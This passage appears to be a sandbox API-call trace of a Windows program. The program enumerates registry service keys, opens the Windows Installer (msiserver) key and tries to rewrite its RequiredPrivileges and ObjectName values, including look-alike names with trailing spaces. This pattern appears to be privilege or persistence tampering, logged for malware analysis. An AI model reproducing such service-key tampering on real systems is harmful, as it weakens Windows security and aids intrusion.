lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0232.923] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0232.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0232.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0232.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0232.927] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0232.927] RegCloseKey (hKey=0x148) returned 0x0 [0232.927] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.927] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.927] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.928] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.928] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.928] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.928] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.928] RegCloseKey (hKey=0x14c) returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.929] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.929] RegCloseKey (hKey=0x148) returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.968] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.969] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0232.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.969] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1b68, cbData=0x1) returned 0x6 [0232.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.969] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.970] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.970] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1928, cbData=0xc) returned 0x6 [0232.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.970] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1928, cbData=0x1) returned 0x6 [0232.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.971] 